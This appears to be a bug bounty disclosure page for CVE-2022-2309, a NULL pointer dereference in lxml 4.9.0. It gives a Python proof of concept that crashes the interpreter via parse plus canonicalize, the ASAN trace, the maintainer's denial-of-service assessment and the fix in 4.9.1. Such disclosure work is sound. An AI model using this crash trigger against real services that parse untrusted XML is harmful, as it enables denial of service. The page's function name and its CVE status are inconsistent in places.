

NULL Pointer Dereference in function _appendStartNsEvents in lxml/lxml



Valid

Reported on Jun 18th 2022

Description

NULL Pointer Dereference in function vim_appendStartNsEvents at src/lxml/iterparse.pxi:435 allows attackers to cause a denial of service (or application crash).

Proof of Concept

```
from io import StringIO

from lxml import etree

first_input = """
<anot xmlns="1">
"""

second_input = """
<root>
</root>
"""

def parse_and_canonicalize(raw):
    input = StringIO(raw)
    try:
        et = etree.parse(input)
        etree.canonicalize(et)
    except etree.XMLSyntaxError as e:
        print(e)
```

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```
def reproduce():
    print('parse_and_canonicalize first_input:')
    parse_and_canonicalize(first_input)
    print('parse_and_canonicalize second_input:')
    parse_and_canonicalize(second_input)
```

reproduce()

```
# python3 /opt/issue1_simplified.py
parse_and_canonicalize first_input:
Premature end of data in tag anot line 2, line 3, column 1 (<string>, line
parse_and_canonicalize second_input:
Segmentation fault
```



ASAN

```
# python3 /opt/issue1_simplified.py
parse_and_canonicalize first_input:
EndTag: '</' not found, line 3, column 1 (<string>, line 3)
parse_and_canonicalize second_input:
AddressSanitizer:DEADLYSIGNAL
=====
==1807==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc
==1807==The signal is caused by a READ memory access.
==1807==Hint: address points to the zero page.
#0 0x7fe52028eb71 (/lib/x86_64-linux-gnu/libc.so.6+0x15fb71) (BuildId:
#1 0x7fe52076055c in __interceptor_strlen.part.0 /root/llvm-project/con
#2 0x7fe51dfc74fc in __pyx_f_4lxml_5etree_funicode /go/src/github.com/I
#3 0x7fe51dfccf81 in __pyx_f_4lxml_5etree__appendStartNsEvents /go/src/
#4 0x7fe51dfccf81 in __pyx_f_4lxml_5etree_8iterwalk__start_node /go/src
#5 0x7fe51e090543 in __pyx_pf_4lxml_5etree_8iterwalk__init__ /go/src/g
#6 0x7fe51e090543 in __pyx_pw_4lxml_5etree_8iterwalk_1__init__ /go/src/
#7 0x7fe52046560a in type_call /usr/src/python/Objects/
#8 0x7fe51e05221c in __Pyx_PyObject_Call /go/src/github.
#9 0x7fe51e05221c in __pyx_f_4lxml_5etree__tree_to_target /go/src/githu
```

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```
#10 0x7fe51e0d5f0b in __pyx_pf_4lxml_5etree_53canonicalize /go/src/git/
#11 0x7fe51e0d5f0b in __pyx_pw_4lxml_5etree_54canonicalize /go/src/git/
#12 0x7fe520434b8b in _PyObject_MakeTpCall /usr/src/python/Objects/call
#13 0x7fe520490a63 in _PyObject_VectorcallTstate /usr/src/python/./Incl
#14 0x7fe520490a63 in _PyObject_VectorcallTstate /usr/src/python/./Incl
#15 0x7fe520490a63 in PyObject_Vectorcall /usr/src/python/./Include/cpy
#16 0x7fe520490a63 in call_function /usr/src/python/Python/ceval.c:5077
#17 0x7fe520490a63 in _PyEval_EvalFrameDefault /usr/src/python/Python/c
#18 0x7fe520435502 in _PyEval_EvalFrame /usr/src/python/./Include/inter
#19 0x7fe520435502 in function_code_fastcall /usr/src/python/Objects/ca
#20 0x7fe52048c07e in _PyObject_VectorcallTstate /usr/src/python/./Incl
#21 0x7fe52048c07e in PyObject_Vectorcall /usr/src/python/./Include/cpy
#22 0x7fe52048c07e in call_function /usr/src/python/Python/ceval.c:5077
#23 0x7fe52048c07e in _PyEval_EvalFrameDefault /usr/src/python/Python/c
#24 0x7fe52048b17f in _PyEval_EvalFrame /usr/src/python/./Include/inter
#25 0x7fe52048b17f in _PyEval_EvalCode /usr/src/python/Python/ceval.c:4
#26 0x7fe52048aeb0 in _PyEval_EvalCodeWithName /usr/src/python/Python/c
#27 0x7fe52048ae52 in PyEval_EvalCodeEx /usr/src/python/Python/ceval.c:
#28 0x7fe5204ff63a in PyEval_EvalCode /usr/src/python/Python/ceval.c:82
#29 0x7fe520510ccc in run_eval_code_obj /usr/src/python/Python/pythonru
#30 0x7fe520510c5a in run_mod /usr/src/python/Python/pythonrun.c:1242:1
#31 0x7fe5203dbcac in pyrun_file /usr/src/python/Python/pythonrun.c:114
#32 0x7fe5203dba4d in pyrun_simple_file /usr/src/python/Python/pythonru
#33 0x7fe5203dba4d in PyRun_SimpleFileExFlags /usr/src/python/Python/py
#34 0x7fe52051869f in pymain_run_file /usr/src/python/Modules/main.c:37
#35 0x7fe52051869f in pymain_run_python /usr/src/python/Modules/main.c:
#36 0x7fe52051869f in Py_RunMain /usr/src/python/Modules/main.c:677:5
#37 0x7fe520518228 in Py_BytesMain /usr/src/python/Modules/main.c:731:1
#38 0x7fe520155d09 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
#39 0x55ef444f9089 in _start (/usr/local/bin/python3.9+0x1089) (BuildIc
```

AddressSanitizer can not provide additional info.

SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x15fb71)
==1807==ABORTING



Impact

NULL Pointer Dereference allows attackers to cause a denial of service (or application crash).

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CVE

CVE-2022-2309

(Published)

Vulnerability Type

CWE-476: NULL Pointer Dereference

Severity

Medium (5.3)

Registry

Pypi

Affected Version

4.9.0

Visibility

Public

Status

Fixed

Found by



Kishin Yagami

@ks888

unranked ▼

This report was seen 1,508 times.

We are processing your report and will contact the **lxml** team within 24 hours. 5 months ago

We have contacted a member of the **lxml** team and are waiting to hear back. 5 months ago

Jamie Slome 5 months ago

[Admin](#)

We have contacted Stefans (maintainer) and will keep you updated on any response 👍

Kishin Yagami 5 months ago

[Researcher](#)

Thank you, Jamie!

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We have sent a follow up to the **lxml** team. We will try again in 7 days. 5 months ago

Jamie Slome [5 months ago](#)

[Admin](#)

From maintainer:

Hi,

thanks for the report. This seems legitimate and I can reproduce it.

I suspect a bug in libxml2 – there seems to be a leak of state between separate parser runs, which then leads to incorrect state being added to the new document on the second parser run.

I'll investigate, but I can probably work around this in lxml quite easily.
I'll keep you posted.

Thanks again,
Stefan

as reported, it allows triggering crashes through forged input data, given a vulnerable code sequence in the application. A DOS through repeated crashes seems the worst possible effect, I can't imagine this being exploited for anything else.

I could simplify the exploit a little further to the attached script. The vulnerable bit is the `iterwalk()` function (also used by `canonicalize()`). Such code shouldn't be in wide-spread use, given that parsing + `iterwalk()` would usually be replaced with the more efficient `iterparse()`. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence.

So, I doubt that this has a large impact in terms of installations, but if untrusted input is received (also remotely) and processed via `iterwalk()`, a crash can be triggered.

Stefan

Kishin Yagami [5 months ago](#)

[Researcher](#)

Thank you for the update. If there is anything I can help, please tell me.

We have sent a second follow up to the **lxml** team. We will try again in 10 days. 5 months ago

A **lxml/lxml** maintainer modified the Severity from High (7.5) to Medium (5.0)

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The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

A **lxml/lxml** maintainer validated this vulnerability 5 months ago

Kishin Yagami has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

A **lxml/lxml** maintainer marked this as fixed in **4.9.1** with commit **86368e** 5 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

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